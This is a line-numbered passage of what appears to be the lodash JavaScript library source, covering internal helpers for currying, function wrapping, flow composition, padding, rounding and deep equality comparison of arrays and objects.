5095 // Mimic the constructor's `return` behavior.
5096 // See https://es5.github.io/#x13.2.2 for more details.
5097 return isObject(result) ? result : thisBinding;
5098 };
5099 }
5100
5101 /**
5102 * Creates a function that wraps `func` to enable currying.
5103 *
5104 * @private
5105 * @param {Function} func The function to wrap.
5106 * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
5107 * @param {number} arity The arity of `func`.
5108 * @returns {Function} Returns the new wrapped function.
5109 */
5110 function createCurry(func, bitmask, arity) {
5111 var Ctor = createCtor(func);
5112
5113 function wrapper() {
5114 var length = arguments.length,
5115 args = Array(length),
5116 index = length,
5117 placeholder = getHolder(wrapper);
5118
5119 while (index--) {
5120 args[index] = arguments[index];
5121 }
5122 var holders = (length < 3 && args[0] !== placeholder && args[length - 1] !== placeholder)
5123 ? []
5124 : replaceHolders(args, placeholder);
5125
5126 length -= holders.length;
5127 if (length < arity) {
5128 return createRecurry(
5129 func, bitmask, createHybrid, wrapper.placeholder, undefined,
5130 args, holders, undefined, undefined, arity - length);
5131 }
5132 var fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;
5133 return apply(fn, this, args);
5134 }
5135 return wrapper;
5136 }
5137
5138 /**
5139 * Creates a `_.find` or `_.findLast` function.
5140 *
5141 * @private
5142 * @param {Function} findIndexFunc The function to find the collection index.
5143 * @returns {Function} Returns the new find function.
5144 */
5145 function createFind(findIndexFunc) {
5146 return function(collection, predicate, fromIndex) {
5147 var iterable = Object(collection);
5148 if (!isArrayLike(collection)) {
5149 var iteratee = getIteratee(predicate, 3);
5150 collection = keys(collection);
5151 predicate = function(key) { return iteratee(iterable[key], key, iterable); };
5152 }
5153 var index = findIndexFunc(collection, predicate, fromIndex);
5154 return index > -1 ? iterable[iteratee ? collection[index] : index] : undefined;
5155 };
5156 }
5157
5158 /**
5159 * Creates a `_.flow` or `_.flowRight` function.
5160 *
5161 * @private
5162 * @param {boolean} [fromRight] Specify iterating from right to left.
5163 * @returns {Function} Returns the new flow function.
5164 */
5165 function createFlow(fromRight) {
5166 return flatRest(function(funcs) {
5167 var length = funcs.length,
5168 index = length,
5169 prereq = LodashWrapper.prototype.thru;
5170
5171 if (fromRight) {
5172 funcs.reverse();
5173 }
5174 while (index--) {
5175 var func = funcs[index];
5176 if (typeof func != 'function') {
5177 throw new TypeError(FUNC_ERROR_TEXT);
5178 }
5179 if (prereq && !wrapper && getFuncName(func) == 'wrapper') {
5180 var wrapper = new LodashWrapper([], true);
5181 }
5182 }
5183 index = wrapper ? index : length;
5184 while (++index < length) {
5185 func = funcs[index];
5186
5187 var funcName = getFuncName(func),
5188 data = funcName == 'wrapper' ? getData(func) : undefined;
5189
5190 if (data && isLaziable(data[0]) &&
5191 data[1] == (WRAP_ARY_FLAG | WRAP_CURRY_FLAG | WRAP_PARTIAL_FLAG | WRAP_REARG_FLAG) &&
5192 !data[4].length && data[9] == 1
5193 ) {
5194 wrapper = wrapper[getFuncName(data[0])].apply(wrapper, data[3]);
5195 } else {
5196 wrapper = (func.length == 1 && isLaziable(func))
5197 ? wrapper[funcName]()
5198 : wrapper.thru(func);
5199 }
5200 }
5201 return function() {
5202 var args = arguments,
5203 value = args[0];
5204
5205 if (wrapper && args.length == 1 && isArray(value)) {
5206 return wrapper.plant(value).value();
5207 }
5208 var index = 0,
5209 result = length ? funcs[index].apply(this, args) : value;
5210
5211 while (++index < length) {
5212 result = funcs[index].call(this, result);
5213 }
5214 return result;
5215 };
5216 });
5217 }
5218
5219 /**
5220 * Creates a function that wraps `func` to invoke it with optional `this`
5221 * binding of `thisArg`, partial application, and currying.
5222 *
5223 * @private
5224 * @param {Function|string} func The function or method name to wrap.
5225 * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
5226 * @param {*} [thisArg] The `this` binding of `func`.
5227 * @param {Array} [partials] The arguments to prepend to those provided to
5228 * the new function.
5229 * @param {Array} [holders] The `partials` placeholder indexes.
5230 * @param {Array} [partialsRight] The arguments to append to those provided
5231 * to the new function.
5232 * @param {Array} [holdersRight] The `partialsRight` placeholder indexes.
5233 * @param {Array} [argPos] The argument positions of the new function.
5234 * @param {number} [ary] The arity cap of `func`.
5235 * @param {number} [arity] The arity of `func`.
5236 * @returns {Function} Returns the new wrapped function.
5237 */
5238 function createHybrid(func, bitmask, thisArg, partials, holders, partialsRight, holdersRight, argPos, ary, arity) {
5239 var isAry = bitmask & WRAP_ARY_FLAG,
5240 isBind = bitmask & WRAP_BIND_FLAG,
5241 isBindKey = bitmask & WRAP_BIND_KEY_FLAG,
5242 isCurried = bitmask & (WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG),
5243 isFlip = bitmask & WRAP_FLIP_FLAG,
5244 Ctor = isBindKey ? undefined : createCtor(func);
5245
5246 function wrapper() {
5247 var length = arguments.length,
5248 args = Array(length),
5249 index = length;
5250
5251 while (index--) {
5252 args[index] = arguments[index];
5253 }
5254 if (isCurried) {
5255 var placeholder = getHolder(wrapper),
5256 holdersCount = countHolders(args, placeholder);
5257 }
5258 if (partials) {
5259 args = composeArgs(args, partials, holders, isCurried);
5260 }
5261 if (partialsRight) {
5262 args = composeArgsRight(args, partialsRight, holdersRight, isCurried);
5263 }
5264 length -= holdersCount;
5265 if (isCurried && length < arity) {
5266 var newHolders = replaceHolders(args, placeholder);
5267 return createRecurry(
5268 func, bitmask, createHybrid, wrapper.placeholder, thisArg,
5269 args, newHolders, argPos, ary, arity - length
5270 );
5271 }
5272 var thisBinding = isBind ? thisArg : this,
5273 fn = isBindKey ? thisBinding[func] : func;
5274
5275 length = args.length;
5276 if (argPos) {
5277 args = reorder(args, argPos);
5278 } else if (isFlip && length > 1) {
5279 args.reverse();
5280 }
5281 if (isAry && ary < length) {
5282 args.length = ary;
5283 }
5284 if (this && this !== root && this instanceof wrapper) {
5285 fn = Ctor || createCtor(fn);
5286 }
5287 return fn.apply(thisBinding, args);
5288 }
5289 return wrapper;
5290 }
5291
5292 /**
5293 * Creates a function like `_.invertBy`.
5294 *
5295 * @private
5296 * @param {Function} setter The function to set accumulator values.
5297 * @param {Function} toIteratee The function to resolve iteratees.
5298 * @returns {Function} Returns the new inverter function.
5299 */
5300 function createInverter(setter, toIteratee) {
5301 return function(object, iteratee) {
5302 return baseInverter(object, setter, toIteratee(iteratee), {});
5303 };
5304 }
5305
5306 /**
5307 * Creates a function that performs a mathematical operation on two values.
5308 *
5309 * @private
5310 * @param {Function} operator The function to perform the operation.
5311 * @param {number} [defaultValue] The value used for `undefined` arguments.
5312 * @returns {Function} Returns the new mathematical operation function.
5313 */
5314 function createMathOperation(operator, defaultValue) {
5315 return function(value, other) {
5316 var result;
5317 if (value === undefined && other === undefined) {
5318 return defaultValue;
5319 }
5320 if (value !== undefined) {
5321 result = value;
5322 }
5323 if (other !== undefined) {
5324 if (result === undefined) {
5325 return other;
5326 }
5327 if (typeof value == 'string' || typeof other == 'string') {
5328 value = baseToString(value);
5329 other = baseToString(other);
5330 } else {
5331 value = baseToNumber(value);
5332 other = baseToNumber(other);
5333 }
5334 result = operator(value, other);
5335 }
5336 return result;
5337 };
5338 }
5339
5340 /**
5341 * Creates a function like `_.over`.
5342 *
5343 * @private
5344 * @param {Function} arrayFunc The function to iterate over iteratees.
5345 * @returns {Function} Returns the new over function.
5346 */
5347 function createOver(arrayFunc) {
5348 return flatRest(function(iteratees) {
5349 iteratees = arrayMap(iteratees, baseUnary(getIteratee()));
5350 return baseRest(function(args) {
5351 var thisArg = this;
5352 return arrayFunc(iteratees, function(iteratee) {
5353 return apply(iteratee, thisArg, args);
5354 });
5355 });
5356 });
5357 }
5358
5359 /**
5360 * Creates the padding for `string` based on `length`. The `chars` string
5361 * is truncated if the number of characters exceeds `length`.
5362 *
5363 * @private
5364 * @param {number} length The padding length.
5365 * @param {string} [chars=' '] The string used as padding.
5366 * @returns {string} Returns the padding for `string`.
5367 */
5368 function createPadding(length, chars) {
5369 chars = chars === undefined ? ' ' : baseToString(chars);
5370
5371 var charsLength = chars.length;
5372 if (charsLength < 2) {
5373 return charsLength ? baseRepeat(chars, length) : chars;
5374 }
5375 var result = baseRepeat(chars, nativeCeil(length / stringSize(chars)));
5376 return hasUnicode(chars)
5377 ? castSlice(stringToArray(result), 0, length).join('')
5378 : result.slice(0, length);
5379 }
5380
5381 /**
5382 * Creates a function that wraps `func` to invoke it with the `this` binding
5383 * of `thisArg` and `partials` prepended to the arguments it receives.
5384 *
5385 * @private
5386 * @param {Function} func The function to wrap.
5387 * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
5388 * @param {*} thisArg The `this` binding of `func`.
5389 * @param {Array} partials The arguments to prepend to those provided to
5390 * the new function.
5391 * @returns {Function} Returns the new wrapped function.
5392 */
5393 function createPartial(func, bitmask, thisArg, partials) {
5394 var isBind = bitmask & WRAP_BIND_FLAG,
5395 Ctor = createCtor(func);
5396
5397 function wrapper() {
5398 var argsIndex = -1,
5399 argsLength = arguments.length,
5400 leftIndex = -1,
5401 leftLength = partials.length,
5402 args = Array(leftLength + argsLength),
5403 fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;
5404
5405 while (++leftIndex < leftLength) {
5406 args[leftIndex] = partials[leftIndex];
5407 }
5408 while (argsLength--) {
5409 args[leftIndex++] = arguments[++argsIndex];
5410 }
5411 return apply(fn, isBind ? thisArg : this, args);
5412 }
5413 return wrapper;
5414 }
5415
5416 /**
5417 * Creates a `_.range` or `_.rangeRight` function.
5418 *
5419 * @private
5420 * @param {boolean} [fromRight] Specify iterating from right to left.
5421 * @returns {Function} Returns the new range function.
5422 */
5423 function createRange(fromRight) {
5424 return function(start, end, step) {
5425 if (step && typeof step != 'number' && isIterateeCall(start, end, step)) {
5426 end = step = undefined;
5427 }
5428 // Ensure the sign of `-0` is preserved.
5429 start = toFinite(start);
5430 if (end === undefined) {
5431 end = start;
5432 start = 0;
5433 } else {
5434 end = toFinite(end);
5435 }
5436 step = step === undefined ? (start < end ? 1 : -1) : toFinite(step);
5437 return baseRange(start, end, step, fromRight);
5438 };
5439 }
5440
5441 /**
5442 * Creates a function that performs a relational operation on two values.
5443 *
5444 * @private
5445 * @param {Function} operator The function to perform the operation.
5446 * @returns {Function} Returns the new relational operation function.
5447 */
5448 function createRelationalOperation(operator) {
5449 return function(value, other) {
5450 if (!(typeof value == 'string' && typeof other == 'string')) {
5451 value = toNumber(value);
5452 other = toNumber(other);
5453 }
5454 return operator(value, other);
5455 };
5456 }
5457
5458 /**
5459 * Creates a function that wraps `func` to continue currying.
5460 *
5461 * @private
5462 * @param {Function} func The function to wrap.
5463 * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
5464 * @param {Function} wrapFunc The function to create the `func` wrapper.
5465 * @param {*} placeholder The placeholder value.
5466 * @param {*} [thisArg] The `this` binding of `func`.
5467 * @param {Array} [partials] The arguments to prepend to those provided to
5468 * the new function.
5469 * @param {Array} [holders] The `partials` placeholder indexes.
5470 * @param {Array} [argPos] The argument positions of the new function.
5471 * @param {number} [ary] The arity cap of `func`.
5472 * @param {number} [arity] The arity of `func`.
5473 * @returns {Function} Returns the new wrapped function.
5474 */
5475 function createRecurry(func, bitmask, wrapFunc, placeholder, thisArg, partials, holders, argPos, ary, arity) {
5476 var isCurry = bitmask & WRAP_CURRY_FLAG,
5477 newHolders = isCurry ? holders : undefined,
5478 newHoldersRight = isCurry ? undefined : holders,
5479 newPartials = isCurry ? partials : undefined,
5480 newPartialsRight = isCurry ? undefined : partials;
5481
5482 bitmask |= (isCurry ? WRAP_PARTIAL_FLAG : WRAP_PARTIAL_RIGHT_FLAG);
5483 bitmask &= ~(isCurry ? WRAP_PARTIAL_RIGHT_FLAG : WRAP_PARTIAL_FLAG);
5484
5485 if (!(bitmask & WRAP_CURRY_BOUND_FLAG)) {
5486 bitmask &= ~(WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG);
5487 }
5488 var newData = [
5489 func, bitmask, thisArg, newPartials, newHolders, newPartialsRight,
5490 newHoldersRight, argPos, ary, arity
5491 ];
5492
5493 var result = wrapFunc.apply(undefined, newData);
5494 if (isLaziable(func)) {
5495 setData(result, newData);
5496 }
5497 result.placeholder = placeholder;
5498 return setWrapToString(result, func, bitmask);
5499 }
5500
5501 /**
5502 * Creates a function like `_.round`.
5503 *
5504 * @private
5505 * @param {string} methodName The name of the `Math` method to use when rounding.
5506 * @returns {Function} Returns the new round function.
5507 */
5508 function createRound(methodName) {
5509 var func = Math[methodName];
5510 return function(number, precision) {
5511 number = toNumber(number);
5512 precision = precision == null ? 0 : nativeMin(toInteger(precision), 292);
5513 if (precision && nativeIsFinite(number)) {
5514 // Shift with exponential notation to avoid floating-point issues.
5515 // See [MDN](https://mdn.io/round#Examples) for more details.
5516 var pair = (toString(number) + 'e').split('e'),
5517 value = func(pair[0] + 'e' + (+pair[1] + precision));
5518
5519 pair = (toString(value) + 'e').split('e');
5520 return +(pair[0] + 'e' + (+pair[1] - precision));
5521 }
5522 return func(number);
5523 };
5524 }
5525
5526 /**
5527 * Creates a set object of `values`.
5528 *
5529 * @private
5530 * @param {Array} values The values to add to the set.
5531 * @returns {Object} Returns the new set.
5532 */
5533 var createSet = !(Set && (1 / setToArray(new Set([,-0]))[1]) == INFINITY) ? noop : function(values) {
5534 return new Set(values);
5535 };
5536
5537 /**
5538 * Creates a `_.toPairs` or `_.toPairsIn` function.
5539 *
5540 * @private
5541 * @param {Function} keysFunc The function to get the keys of a given object.
5542 * @returns {Function} Returns the new pairs function.
5543 */
5544 function createToPairs(keysFunc) {
5545 return function(object) {
5546 var tag = getTag(object);
5547 if (tag == mapTag) {
5548 return mapToArray(object);
5549 }
5550 if (tag == setTag) {
5551 return setToPairs(object);
5552 }
5553 return baseToPairs(object, keysFunc(object));
5554 };
5555 }
5556
5557 /**
5558 * Creates a function that either curries or invokes `func` with optional
5559 * `this` binding and partially applied arguments.
5560 *
5561 * @private
5562 * @param {Function|string} func The function or method name to wrap.
5563 * @param {number} bitmask The bitmask flags.
5564 * 1 - `_.bind`
5565 * 2 - `_.bindKey`
5566 * 4 - `_.curry` or `_.curryRight` of a bound function
5567 * 8 - `_.curry`
5568 * 16 - `_.curryRight`
5569 * 32 - `_.partial`
5570 * 64 - `_.partialRight`
5571 * 128 - `_.rearg`
5572 * 256 - `_.ary`
5573 * 512 - `_.flip`
5574 * @param {*} [thisArg] The `this` binding of `func`.
5575 * @param {Array} [partials] The arguments to be partially applied.
5576 * @param {Array} [holders] The `partials` placeholder indexes.
5577 * @param {Array} [argPos] The argument positions of the new function.
5578 * @param {number} [ary] The arity cap of `func`.
5579 * @param {number} [arity] The arity of `func`.
5580 * @returns {Function} Returns the new wrapped function.
5581 */
5582 function createWrap(func, bitmask, thisArg, partials, holders, argPos, ary, arity) {
5583 var isBindKey = bitmask & WRAP_BIND_KEY_FLAG;
5584 if (!isBindKey && typeof func != 'function') {
5585 throw new TypeError(FUNC_ERROR_TEXT);
5586 }
5587 var length = partials ? partials.length : 0;
5588 if (!length) {
5589 bitmask &= ~(WRAP_PARTIAL_FLAG | WRAP_PARTIAL_RIGHT_FLAG);
5590 partials = holders = undefined;
5591 }
5592 ary = ary === undefined ? ary : nativeMax(toInteger(ary), 0);
5593 arity = arity === undefined ? arity : toInteger(arity);
5594 length -= holders ? holders.length : 0;
5595
5596 if (bitmask & WRAP_PARTIAL_RIGHT_FLAG) {
5597 var partialsRight = partials,
5598 holdersRight = holders;
5599
5600 partials = holders = undefined;
5601 }
5602 var data = isBindKey ? undefined : getData(func);
5603
5604 var newData = [
5605 func, bitmask, thisArg, partials, holders, partialsRight, holdersRight,
5606 argPos, ary, arity
5607 ];
5608
5609 if (data) {
5610 mergeData(newData, data);
5611 }
5612 func = newData[0];
5613 bitmask = newData[1];
5614 thisArg = newData[2];
5615 partials = newData[3];
5616 holders = newData[4];
5617 arity = newData[9] = newData[9] === undefined
5618 ? (isBindKey ? 0 : func.length)
5619 : nativeMax(newData[9] - length, 0);
5620
5621 if (!arity && bitmask & (WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG)) {
5622 bitmask &= ~(WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG);
5623 }
5624 if (!bitmask || bitmask == WRAP_BIND_FLAG) {
5625 var result = createBind(func, bitmask, thisArg);
5626 } else if (bitmask == WRAP_CURRY_FLAG || bitmask == WRAP_CURRY_RIGHT_FLAG) {
5627 result = createCurry(func, bitmask, arity);
5628 } else if ((bitmask == WRAP_PARTIAL_FLAG || bitmask == (WRAP_BIND_FLAG | WRAP_PARTIAL_FLAG)) && !holders.length) {
5629 result = createPartial(func, bitmask, thisArg, partials);
5630 } else {
5631 result = createHybrid.apply(undefined, newData);
5632 }
5633 var setter = data ? baseSetData : setData;
5634 return setWrapToString(setter(result, newData), func, bitmask);
5635 }
5636
5637 /**
5638 * Used by `_.defaults` to customize its `_.assignIn` use to assign properties
5639 * of source objects to the destination object for all destination properties
5640 * that resolve to `undefined`.
5641 *
5642 * @private
5643 * @param {*} objValue The destination value.
5644 * @param {*} srcValue The source value.
5645 * @param {string} key The key of the property to assign.
5646 * @param {Object} object The parent object of `objValue`.
5647 * @returns {*} Returns the value to assign.
5648 */
5649 function customDefaultsAssignIn(objValue, srcValue, key, object) {
5650 if (objValue === undefined ||
5651 (eq(objValue, objectProto[key]) && !hasOwnProperty.call(object, key))) {
5652 return srcValue;
5653 }
5654 return objValue;
5655 }
5656
5657 /**
5658 * Used by `_.defaultsDeep` to customize its `_.merge` use to merge source
5659 * objects into destination objects that are passed thru.
5660 *
5661 * @private
5662 * @param {*} objValue The destination value.
5663 * @param {*} srcValue The source value.
5664 * @param {string} key The key of the property to merge.
5665 * @param {Object} object The parent object of `objValue`.
5666 * @param {Object} source The parent object of `srcValue`.
5667 * @param {Object} [stack] Tracks traversed source values and their merged
5668 * counterparts.
5669 * @returns {*} Returns the value to assign.
5670 */
5671 function customDefaultsMerge(objValue, srcValue, key, object, source, stack) {
5672 if (isObject(objValue) && isObject(srcValue)) {
5673 // Recursively merge objects and arrays (susceptible to call stack limits).
5674 stack.set(srcValue, objValue);
5675 baseMerge(objValue, srcValue, undefined, customDefaultsMerge, stack);
5676 stack['delete'](srcValue);
5677 }
5678 return objValue;
5679 }
5680
5681 /**
5682 * Used by `_.omit` to customize its `_.cloneDeep` use to only clone plain
5683 * objects.
5684 *
5685 * @private
5686 * @param {*} value The value to inspect.
5687 * @param {string} key The key of the property to inspect.
5688 * @returns {*} Returns the uncloned value or `undefined` to defer cloning to `_.cloneDeep`.
5689 */
5690 function customOmitClone(value) {
5691 return isPlainObject(value) ? undefined : value;
5692 }
5693
5694 /**
5695 * A specialized version of `baseIsEqualDeep` for arrays with support for
5696 * partial deep comparisons.
5697 *
5698 * @private
5699 * @param {Array} array The array to compare.
5700 * @param {Array} other The other array to compare.
5701 * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
5702 * @param {Function} customizer The function to customize comparisons.
5703 * @param {Function} equalFunc The function to determine equivalents of values.
5704 * @param {Object} stack Tracks traversed `array` and `other` objects.
5705 * @returns {boolean} Returns `true` if the arrays are equivalent, else `false`.
5706 */
5707 function equalArrays(array, other, bitmask, customizer, equalFunc, stack) {
5708 var isPartial = bitmask & COMPARE_PARTIAL_FLAG,
5709 arrLength = array.length,
5710 othLength = other.length;
5711
5712 if (arrLength != othLength && !(isPartial && othLength > arrLength)) {
5713 return false;
5714 }
5715 // Check that cyclic values are equal.
5716 var arrStacked = stack.get(array);
5717 var othStacked = stack.get(other);
5718 if (arrStacked && othStacked) {
5719 return arrStacked == other && othStacked == array;
5720 }
5721 var index = -1,
5722 result = true,
5723 seen = (bitmask & COMPARE_UNORDERED_FLAG) ? new SetCache : undefined;
5724
5725 stack.set(array, other);
5726 stack.set(other, array);
5727
5728 // Ignore non-index properties.
5729 while (++index < arrLength) {
5730 var arrValue = array[index],
5731 othValue = other[index];
5732
5733 if (customizer) {
5734 var compared = isPartial
5735 ? customizer(othValue, arrValue, index, other, array, stack)
5736 : customizer(arrValue, othValue, index, array, other, stack);
5737 }
5738 if (compared !== undefined) {
5739 if (compared) {
5740 continue;
5741 }
5742 result = false;
5743 break;
5744 }
5745 // Recursively compare arrays (susceptible to call stack limits).
5746 if (seen) {
5747 if (!arraySome(other, function(othValue, othIndex) {
5748 if (!cacheHas(seen, othIndex) &&
5749 (arrValue === othValue || equalFunc(arrValue, othValue, bitmask, customizer, stack))) {
5750 return seen.push(othIndex);
5751 }
5752 })) {
5753 result = false;
5754 break;
5755 }
5756 } else if (!(
5757 arrValue === othValue ||
5758 equalFunc(arrValue, othValue, bitmask, customizer, stack)
5759 )) {
5760 result = false;
5761 break;
5762 }
5763 }
5764 stack['delete'](array);
5765 stack['delete'](other);
5766 return result;
5767 }
5768
5769 /**
5770 * A specialized version of `baseIsEqualDeep` for comparing objects of
5771 * the same `toStringTag`.
5772 *
5773 * **Note:** This function only supports comparing values with tags of
5774 * `Boolean`, `Date`, `Error`, `Number`, `RegExp`, or `String`.
5775 *
5776 * @private
5777 * @param {Object} object The object to compare.
5778 * @param {Object} other The other object to compare.
5779 * @param {string} tag The `toStringTag` of the objects to compare.
5780 * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
5781 * @param {Function} customizer The function to customize comparisons.
5782 * @param {Function} equalFunc The function to determine equivalents of values.
5783 * @param {Object} stack Tracks traversed `object` and `other` objects.
5784 * @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
5785 */
5786 function equalByTag(object, other, tag, bitmask, customizer, equalFunc, stack) {
5787 switch (tag) {
5788 case dataViewTag:
5789 if ((object.byteLength != other.byteLength) ||
5790 (object.byteOffset != other.byteOffset)) {
5791 return false;
5792 }
5793 object = object.buffer;
5794 other = other.buffer;
5795
5796 case arrayBufferTag:
5797 if ((object.byteLength != other.byteLength) ||
5798 !equalFunc(new Uint8Array(object), new Uint8Array(other))) {
5799 return false;
5800 }
5801 return true;
5802
5803 case boolTag:
5804 case dateTag:
5805 case numberTag:
5806 // Coerce booleans to `1` or `0` and dates to milliseconds.
5807 // Invalid dates are coerced to `NaN`.
5808 return eq(+object, +other);
5809
5810 case errorTag:
5811 return object.name == other.name && object.message == other.message;
5812
5813 case regexpTag:
5814 case stringTag:
5815 // Coerce regexes to strings and treat strings, primitives and objects,
5816 // as equal. See http://www.ecma-international.org/ecma-262/7.0/#sec-regexp.prototype.tostring
5817 // for more details.
5818 return object == (other + '');
5819
5820 case mapTag:
5821 var convert = mapToArray;
5822
5823 case setTag:
5824 var isPartial = bitmask & COMPARE_PARTIAL_FLAG;
5825 convert || (convert = setToArray);
5826
5827 if (object.size != other.size && !isPartial) {
5828 return false;
5829 }
5830 // Assume cyclic values are equal.
5831 var stacked = stack.get(object);
5832 if (stacked) {
5833 return stacked == other;
5834 }
5835 bitmask |= COMPARE_UNORDERED_FLAG;
5836
5837 // Recursively compare objects (susceptible to call stack limits).
5838 stack.set(object, other);
5839 var result = equalArrays(convert(object), convert(other), bitmask, customizer, equalFunc, stack);
5840 stack['delete'](object);
5841 return result;
5842
5843 case symbolTag:
5844 if (symbolValueOf) {
5845 return symbolValueOf.call(object) == symbolValueOf.call(other);
5846 }
5847 }
5848 return false;
5849 }
5850
5851 /**
5852 * A specialized version of `baseIsEqualDeep` for objects with support for
5853 * partial deep comparisons.
5854 *
5855 * @private
5856 * @param {Object} object The object to compare.
5857 * @param {Object} other The other object to compare.
5858 * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
5859 * @param {Function} customizer The function to customize comparisons.
5860 * @param {Function} equalFunc The function to determine equivalents of values.
5861 * @param {Object} stack Tracks traversed `object` and `other` objects.
5862 * @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
5863 */
5864 function equalObjects(object, other, bitmask, customizer, equalFunc, stack) {
5865 var isPartial = bitmask & COMPARE_PARTIAL_FLAG,
5866 objProps = getAllKeys(object),
5867 objLength = objProps.length,
5868 othProps = getAllKeys(other),
5869 othLength = othProps.length;
5870
5871 if (objLength != othLength && !isPartial) {
5872 return false;
5873 }
5874 var index = objLength;
5875 while (index--) {
5876 var key = objProps[index];
5877 if (!(isPartial ? key in other : hasOwnProperty.call(other, key))) {
5878 return false;
5879 }
5880 }
5881 // Check that cyclic values are equal.
5882 var objStacked = stack.get(object);
5883 var othStacked = stack.get(other);
5884 if (objStacked && othStacked) {
5885 return objStacked == other && othStacked == object;
5886 }
5887 var result = true;
5888 stack.set(object, other);
5889 stack.set(other, object);
5890
5891 var skipCtor = isPartial;
5892 while (++index < objLength) {
5893 key = objProps[index];
5894 var objValue = object[key],
5895 othValue = other[key];
5896
5897 if (customizer) {
5898 var compared = isPartial
5899 ? customizer(othValue, objValue, key, other, object, stack)
5900 : customizer(objValue, othValue, key, object, other, stack);
5901 }
5902 // Recursively compare objects (susceptible to call stack limits).
5903 if (!(compared === undefined
5904 ? (objValue === othValue || equalFunc(objValue, othValue, bitmask, customizer, stack))
5905 : compared
5906 )) {
5907 result = false;
5908 break;
5909 }
5910 skipCtor || (skipCtor = key == 'constructor');
5911 }
5912 if (result && !skipCtor) {
5913 var objCtor = object.constructor,
5914 othCtor = other.constructor;
5915
5916 // Non `Object` object instances with different constructors are not equal.
5917 if (objCtor != othCtor &&
5918 ('constructor' in object && 'constructor' in other) &&
5919 !(typeof objCtor == 'function' && objCtor instanceof objCtor &&
5920 typeof othCtor == 'function' && othCtor instanceof othCtor)) {
5921 result = false;
5922 }
5923 }
5924 stack['delete'](object);
5925 stack['delete'](other);
5926 return result;
5927 }
5928
5929 /**
5930 * A specialized version of `baseRest` which flattens the rest array.
5931 *
5932 * @private
5933 * @param {Function} func The function to apply a rest parameter to.
5934 * @returns {Function} Returns the new function.
5935 */
5936 function flatRest(func) {
5937 return setToString(overRest(func, undefined, flatten), func + '');
5938 }
5939
5940 /**
5941 * Creates an array of own enumerable property names and symbols of `object`.
5942 *
5943 * @private
5944 * @param {Object} object The object to query.
5945 * @returns {Array} Returns the array of property names and symbols.
5946 */
5947 function getAllKeys(object) {
5948 return baseGetAllKeys(object, keys, getSymbols);
5949 }
5950
5951 /**
5952 * Creates an array of own and inherited enumerable property names and
5953 * symbols of `object`.
5954 *
5955 * @private
5956 * @param {Object} object The object to query.
5957 * @returns {Array} Returns the array of property names and symbols.
5958 */
5959 function getAllKeysIn(object) {
5960 return baseGetAllKeys(object, keysIn, getSymbolsIn);
5961 }
5962
5963 /**
5964 * Gets metadata for `func`.
5965 *
5966 * @private
5967 * @param {Function} func The function to query.
5968 * @returns {*} Returns the metadata for `func`.
5969 */
5970 var getData = !metaMap ? noop : function(func) {
5971 return metaMap.get(func);
5972 };
5973
5974 /**
5975 * Gets the name of `func`.
5976 *
5977 * @private
5978 * @param {Function} func The function to query.
5979 * @returns {string} Returns the function name.
5980 */
5981 function getFuncName(func) {
5982 var result = (func.name + ''),
5983 array = realNames[result],
5984 length = hasOwnProperty.call(realNames, result) ? array.length : 0;
5985
5986 while (length--) {
5987 var data = array[length],
5988 otherFunc = data.func;
5989 if (otherFunc == null || otherFunc == func) {
5990 return data.name;
5991 }
5992 }
5993 return result;
5994 }
5995
5996 /**
5997 * Gets the argument placeholder value for `func`.
5998 *
5999 * @private
6000 * @param {Function} func The function to inspect.
6001 * @returns {*} Returns the placeholder value.
6002 */
6003 function getHolder(func) {
6004 var object = hasOwnProperty.call(lodash, 'placeholder') ? lodash : func;
6005 return object.placeholder;
6006 }
6007
6008 /**
6009 * Gets the appropriate "iteratee" function. If `_.iteratee` is customized,
6010 * this function returns the custom method, otherwise it returns `baseIteratee`.
6011 * If arguments are provided, the chosen function is invoked with them and
6012 * its result is returned.
6013 *
6014 * @private
6015 * @param {*} [value] The value to convert to an iteratee.
6016 * @param {number} [arity] The arity of the created iteratee.
6017 * @returns {Function} Returns the chosen function or its result.
6018 */
6019 function getIteratee() {
6020 var result = lodash.iteratee || iteratee;
6021 result = result === iteratee ? baseIteratee : result;
6022 return arguments.length ? result(arguments[0], arguments[1]) : result;
6023 }
6024
6025 /**
6026 * Gets the data for `map`.
6027 *
6028 * @private
6029 * @param {Object} map The map to query.
6030 * @param {string} key The reference key.
6031 * @returns {*} Returns the map data.
6032 */
6033 function getMapData(map, key) {
6034 var data = map.__data__;
6035 return isKeyable(key)
6036 ? data[typeof key == 'string' ? 'string' : 'hash']
6037 : data.map;
6038 }
6039
6040 /**
6041 * Gets the property names, values, and compare flags of `object`.
6042 *
6043 * @private
6044 * @param {Object} object The object to query.
6045 * @returns {Array} Returns the match data of `object`.
6046 */
6047 function getMatchData(object) {
6048 var result = keys(object),
6049 length = result.length;
6050
6051 while (length--) {
6052 var key = result[length],
6053 value = object[key];
6054
6055 result[length] = [key, value, isStrictComparable(value)];
6056 }
6057 return result;
6058 }
6059
6060 /**
6061 * Gets the native function at `key` of `object`.
6062 *
6063 * @private
6064 * @param {Object} object The object to query.
6065 * @param {string} key The key of the method to get.
6066 * @returns {*} Returns the function if it's native, else `undefined`.
6067 */
6068 function getNative(object, key) {
6069 var value = getValue(object, key);
6070 return baseIsNative(value) ? value : undefined;
6071 }
6072
6073 /**
6074 * A specialized version of `baseGetTag` which ignores `Symbol.toStringTag` values.
6075 *
6076 * @private
6077 * @param {*} value The value to query.
6078 * @returns {string} Returns the raw `toStringTag`.
6079 */
6080 function getRawTag(value) {
6081 var isOwn = hasOwnProperty.call(value, symToStringTag),
6082 tag = value[symToStringTag];
6083
6084 try {
6085 value[symToStringTag] = undefined;
6086 var unmasked = true;
6087 } catch (e) {}
6088
6089 var result = nativeObjectToString.call(value);
6090 if (unmasked) {
6091 if (isOwn) {
6092 value[symToStringTag] = tag;
6093 } else {
6094 delete value[symToStringTag];
6095 }
6096 }
